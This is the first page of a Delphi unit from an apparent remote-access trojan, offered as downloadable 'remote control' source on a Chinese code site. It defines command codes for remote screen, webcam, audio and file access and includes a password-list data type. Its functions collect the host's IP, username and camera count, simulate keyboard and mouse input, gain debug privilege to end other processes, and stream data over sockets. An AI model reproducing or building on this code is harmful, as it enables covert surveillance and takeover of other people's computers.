⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 publicfunctionunit.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
📖 第 1 页 / 共 3 页
字号:
unit PublicFunctionUnit;

interface
  uses
    windows,
    WinSock,
    WinSock2,
    ShlObj,
    ActiveX,
    ShellAPI,
    TlHelp32,
    Lzo, 
    MxZLib,
    messages;
    
{$DEFINE _MiniLzo}

const 
  //
  DATA_BUFSIZE = 4096;//8192
  dwTimeout : DWord = 2000;
  //自定义消息
  TerminateNotifyMessage = $0400 + 303;
  WsaNotifyMessage = $0400 + 300;
  //定义一些数据,用来描述本客户端
  ServerUseSelfDefine : array[0..150] of Char = '小牛牛';
  ClientVersion : array[0..15] of Char = '1.025 Beta';
  ClientIconIndex : Byte = 0;
  (*-------------------以下命令设置,是各单元都可以使用的-------------------*)
  //命令回复数据
  NOCMDReplay                 = 0;
  VideoReplay                 = 10001;
  VideoStartErrorReplay       = 10002;
  VideoStartSucessReplay      = 10003;
  VideoDESCRIPListReplay      = 10004;
  VideoCodeIniErrorReplay     = 10005; //编码初始化错误
  VideoSendBitmapInfoReplay   = 10006; //发送编码图像头

type
  TDriverDescriptionArray = array[0..39] of Char;
  
type
  WSANETWORKEVENTS = packed record
    lNetWorkEvents : longint;
    iErrorCode : array[0..(FD_MAX_EVENTS - 1)] of integer;
  end;
  //数据包头
  TDataHeaderInfo = packed record
    UnCompressedDataSize : DWord;
    CompressedDataSize : DWord;
    DataType : DWORD;  //描述数据是命令回复的数据还是流数据
  end;
  //记录鼠标和键盘动作的结构
  TKeyAndCursorData = packed record
    HeadTag : Byte;
    WMtpye : LongWord;
    MouseX : integer;
    MouseY : integer;
  end;
  //交互的命令格式--详细描述见文件开始
  TInterChangeHeader = packed record
    OrderObject : DWORD;
    Order       : DWORD;
    OrderExtend : DWORD;
    ExdSource   : DWORD;
    ExdDest     : DWORD;
  end; 
  //xml写入的信息类型
  TXMLType = (NothingType, FileListTypeDir, FileListTypeDriver, SystemInfoType, WindowsListType, ProcessListType,
                  ServiceListType, PasswordListType);
  //命令对象
  TOrderObject = (MainSocketData, RemoteScreenData, RemoteVideoData, RemoteAudioData,
                  GetSystemInfoData, RemoteFileData);
  //系统信息  TRemoteSystemInfo = packed record    LocalIPaddressString : array[0..14] of Char;//ip内网地址    ServerIconIndex : Byte; //socket在liestview里面的头像编号
    ServerVersion : array[0..15] of Char; //远程主机的服务端版本号
    CurrentUserName : array[0..150] of Char; //远程主机的用户名
    SystemVersion : TOSVersionInfo; //远程主机的操作系统类型    UseSelfDefine : array[0..150] of Char; //备注    WebCamCount : Byte; //摄像头数量    RemoteDataType : TOrderObject; //标识对象数据类型    PerIODataPointer : DWORD; //指向一个单io数据的指针,记录server发来的单io的指针   end;//得到系统的相关信息
function HostToIP(Name: string; var Ip: string): Boolean;
procedure GetLocalIP(out LocalIP : array of Char); 
function DetectWebCam(const NeedGetName : Boolean = False) : Byte;
procedure GetUserAndHostName(out ArrayAdd : array of Char);

//模拟鼠标和键盘
procedure SimulateRemoteMouseAndKey(Msg : TMsg);

//负责安全发送指定数量的数据的
function SendAllTheData(const Socket : TSocket; WillBeSentData : Pointer;
  const CompressedDataSize : DWord; const UnCompressedDataSize : DWord = 0;
  const SendNotifyEvent : THandle = 0; const DataType : DWORD = 0) : integer;
//确保数据包能被全部接受完毕
function RecvAllData(const Socket : TSocket; PakageDataRecv : Pointer;
  const PakageLengthToRecv : LongInt; var ActuallyRecvSize : LongInt;
  const RecvNotifyEvent : THandle = 0) : integer;

//获取文件列表,主机信息,进程列表等等,并发送--要求FilePath的最后一个字符是‘\’
procedure GetListAndSend(const Socket : TSocket; const FilePath : string;
  const EnterSubDir : Boolean = False; const XMLType : TXMLType = NothingType);

//发送主机相关的信息
procedure SendClientSystemInfo(const Socket : TSocket);
//发送窗口列表信息
procedure SendAllWindowList(const Socket : TSocket);
//发送进程列表信息
procedure GetProcessListAndSend(const Socket : TSocket);

//检查文件夹是否存在
function DirectoryExists(const Directory: string): boolean;
//获取文件夹
function ExtractFilePath(sFile: String): String; stdcall;
//获取文件名
function ExtractFileName(sFile: String): String; stdcall;
//转换整数到字符串
function IntToStr(IntValue : integer) : string;
//转换字符串到整数
function StrToInt(ConvertStr : string) : integer;
//转化为hex字符串
function IntToHex(dwValue, dwDigits: DWord): String; stdcall;
//求得最小值
function Min(const A, B: Integer): Integer;
//释放类实例,并nil指针
procedure FreeAndNil(var Obj);
//转为大写
function UpperCase(sString: String): String; stdcall;
//转为小写
function LowerCase(sString: String): String; stdcall;
//让本进程获得调试权限,以便能结束其他进程
function EnableDebugPrivilege : Boolean;
//类函数实例化
function MakeProcInstance(M: TMethod): Pointer;
//释放掉实例化的内存
procedure FreeProcInstance(ProcInstance: Pointer);
//检查文件是否存在
function FileExists(const FileName: string): Boolean;


var
  RemoteSystemInfo : TRemoteSystemInfo; 
  DriverDescriptionArray : array[0..9] of TDriverDescriptionArray;//获得视频设备描述
  //窗口列表
  WindowListStr : string = '';
  WindowsNumber : integer = 0;
  //枚举窗口完毕以后,通知发送
  FinishSearchWindowNotifyEvent : THandle;
implementation

{------------------------------全局使用的函数-------------------------------}

function capGetDriverDescription(wDriverIndex : WORD; lpszName : PChar;
  cbName : integer; lpszVer : PChar; cbVer : integer) : Boolean;  stdcall;
  external 'avicap32.dll' name 'capGetDriverDescriptionA'; 

//将域名转换为IP
function HostToIP(Name: string; var Ip: string): Boolean;
var
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  GetHostName(hostName, SizeOf(hostName));
  ZeroMemory(@hostName[0], 256);
  MoveMemory(@hostName[0], PChar(Name), Length(Name));
  hostEnt := GetHostByName(hostName);
  if Assigned (hostEnt) then
    if Assigned (hostEnt^.h_addr_list) then begin
      addr := hostEnt^.h_addr_list^;
      if Assigned (addr) then begin
        IP := IntToStr(Byte(addr[0])) + '.' + IntToStr(Byte(addr[1])) + '.' +
          IntToStr(Byte(addr[2])) + '.' + IntToStr(Byte(addr[3]));
        Result := True;
      end
      else
        Result := False;
    end
    else
      Result := False
  else begin
    Result := False;
  end;
end;

//得到本地局域网的IP
procedure GetLocalIP(out LocalIP : array of Char);
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr  = ^TaPInAddr;
var
  phe : PHostEnt;
  pptr : PaPInAddr;
  Buffer : array [0..63] of char;
  tmpStr : string;
begin
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  tmpStr := inet_ntoa(pptr^[0]^);
  ZeroMemory(@LocalIP[0], SizeOf(LocalIP));
  MoveMemory(@LocalIP[0], @tmpStr[1], Length(tmpStr));
end;

//检测摄像头数量和驱动描述
function DetectWebCam(const NeedGetName : Boolean = False) : Byte;
var
  achDeviceName : array[0..79] of Char;
  achDeviceAndVersion : array[0..79] of Char;
  uIndex : integer;
  isOk : Boolean;
  WebCamCount : byte;
begin
  ZeroMemory(@DriverDescriptionArray[0][0], sizeof(DriverDescriptionArray));
  WebCamCount := 0;
  for uIndex := 0 to 9 do
  begin
    isOk := capGetDriverDescription(uIndex, achDeviceName,
      SizeOf(achDeviceName), achDeviceAndVersion, SizeOf(achDeviceAndVersion));
    if isOk then
    begin
      if NeedGetName then
        CopyMemory(@DriverDescriptionArray[uIndex][0],
          @achDeviceName[0], sizeof(TDriverDescriptionArray));
      Inc(WebCamCount);
    end;
  end;
  Result := WebCamCount;
end;

//得到当前登录的用户名
procedure GetUserAndHostName(out ArrayAdd : array of Char);
var
  tmpArray1 : array[0..55] of Char;
  CurrentUserNameSize : DWORD;
  HostEnt: PHostEnt;
  IPAddress: string;
  addr: dword;
begin
  //得到当前用户名
  ZeroMemory(@ArrayAdd[0], SizeOf(tmpArray1));
  CurrentUserNameSize := SizeOf(tmpArray1);
  GetUserName(tmpArray1, CurrentUserNameSize);
  //得到当前的主机名
  IPAddress := RemoteSystemInfo.LocalIPaddressString;
  addr := inet_addr(PChar(IPAddress));
  HostEnt:= GetHostByAddr(@addr, Length(IPAddress), PF_INET);
  IPAddress := HostEnt.h_name;
  IPAddress := IPAddress + '/' + tmpArray1;
  //返回主机名和用户名
  ZeroMemory(@ArrayAdd[0], SizeOf(tmpArray1));
  MoveMemory(@ArrayAdd[0], @IPAddress[1], Length(IPAddress));
end;

//模拟鼠标和键盘
procedure SimulateRemoteMouseAndKey(Msg : TMsg);
begin
  case Msg.message of
    WM_KEYDOWN:
    begin
      keybd_event(Msg.wParam, 0, 0, 0);
      keybd_event(Msg.wParam, 0, KEYEVENTF_KEYUP, 0);
    end;
    WM_LBUTTONDOWN:
    begin
      mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    end;
    WM_LBUTTONUP:
    begin
      mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    end;
    WM_RBUTTONDOWN:
    begin
      mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    end;
    WM_RBUTTONUP:
    begin 
      mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    end;
    WM_MOUSEMOVE:
    begin
      SetCursorPos(Msg.wParam,Msg.lParam);
    end;
    WM_LBUTTONDBLCLK:
    begin
      mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    end;
    WM_RBUTTONDBLCLK:
    begin
      mouse_event(MOUSEEVENTF_RIGHTDOWN or MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
      mouse_event(MOUSEEVENTF_RIGHTDOWN or MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    end;
  end;
end;

{--------------------------------数据收发函数部分------------------------------}

//负责安全发送指定数量的数据的
function SendAllTheData(const Socket : TSocket; WillBeSentData : Pointer;
  const CompressedDataSize : DWord; const UnCompressedDataSize : DWord = 0;
  const SendNotifyEvent : THandle = 0; const DataType : DWORD = 0) : integer;
var
  LoopInt : DWord;
  ActuallySentSizePerPakage : integer;
  myDataHeaderInfo : TDataHeaderInfo;
  //确保数据包能被全部发送完毕,数据重发机制
  function SendAllPakageData(const Socket : TSocket; PakageDataSent : Pointer;
    const PakageLength : integer; var ActuallySentSize : integer) : integer;
  var
    ErrorCode : LongInt;
    TotalSent : integer;
    SendBytePerSend, BytesLeft : integer;
  begin
    TotalSent := 0;// how many bytes we've sent
    BytesLeft := PakageLength;// how many we have left to send
    SendBytePerSend := 0;
    while (TotalSent < PakageLength) do
    begin
      SendBytePerSend := Send(Socket, Pointer(DWord(PakageDataSent) + DWord(TotalSent))^, BytesLeft, 0);
      if SendBytePerSend = SOCKET_ERROR then
      begin
        ErrorCode := WSAGetLastError;
        if ErrorCode = WSAEWOULDBLOCK then
        begin
          if SendNotifyEvent = 0 then
            Sleep(1)
          else
            WaitForSingleObject(SendNotifyEvent, 1);
          Continue;
        end
        else
          Break;
      end;
      TotalSent := TotalSent + SendBytePerSend;
      BytesLeft := BytesLeft - SendBytePerSend;
    end;
    ActuallySentSize := TotalSent;// return number actually sent here
    Result := Min(SendBytePerSend, 0);
  end;
begin
  //发送数据头
  myDataHeaderInfo.UnCompressedDataSize := UnCompressedDataSize;
  myDataHeaderInfo.CompressedDataSize := CompressedDataSize;
  myDataHeaderInfo.DataType := DataType;
  Result := SendAllPakageData(Socket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo), ActuallySentSizePerPakage);
  if Result = SOCKET_ERROR then Exit;
  //发送数据本身
  LoopInt := 0;
  repeat
    if CompressedDataSize - LoopInt >= DATA_BUFSIZE then
      Result := SendAllPakageData(Socket, Pointer(DWord(WillBeSentData) + LoopInt),
        DATA_BUFSIZE, ActuallySentSizePerPakage)
    else
      Result := SendAllPakageData(Socket, Pointer(DWord(WillBeSentData) + LoopInt),
        CompressedDataSize - LoopInt, ActuallySentSizePerPakage);
    //发送状态
    if Result = SOCKET_ERROR then
      Break
    else
      //计数器累加
      LoopInt := LoopInt + Dword(ActuallySentSizePerPakage);
  until (LoopInt >= CompressedDataSize);
end;

//确保数据包能被全部接受完毕
function RecvAllData(const Socket : TSocket; PakageDataRecv : Pointer;
  const PakageLengthToRecv : LongInt; var ActuallyRecvSize : LongInt;
  const RecvNotifyEvent : THandle = 0) : integer;
var
  ErrorCode : LongInt;
  TotalRecv : LongInt;
  RecvBytePerRecv, BytesLeft : LongInt;
begin
  TotalRecv := 0;
  BytesLeft := PakageLengthToRecv;
  RecvBytePerRecv := 0;
  while (TotalRecv < PakageLengthToRecv) do
  begin
    RecvBytePerRecv := Recv(Socket, Pointer(DWord(PakageDataRecv) + DWord(TotalRecv))^, BytesLeft, 0);
    if RecvBytePerRecv = SOCKET_ERROR then
    begin
      ErrorCode := WSAGetLastError;
      if ErrorCode = WSAEWOULDBLOCK then
      begin
        if RecvNotifyEvent = 0 then
          Sleep(1)
        else
        WaitForSingleObject(RecvNotifyEvent, 1);
        Continue;
      end
      else
        Break;
    end;
    TotalRecv := TotalRecv + RecvBytePerRecv;
    BytesLeft := BytesLeft - RecvBytePerRecv;
  end;
  ActuallyRecvSize := TotalRecv;
  Result := Min(RecvBytePerRecv, 0);
end;

(*-------------------------以下的函数是与文件操作相关------------------------*) 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -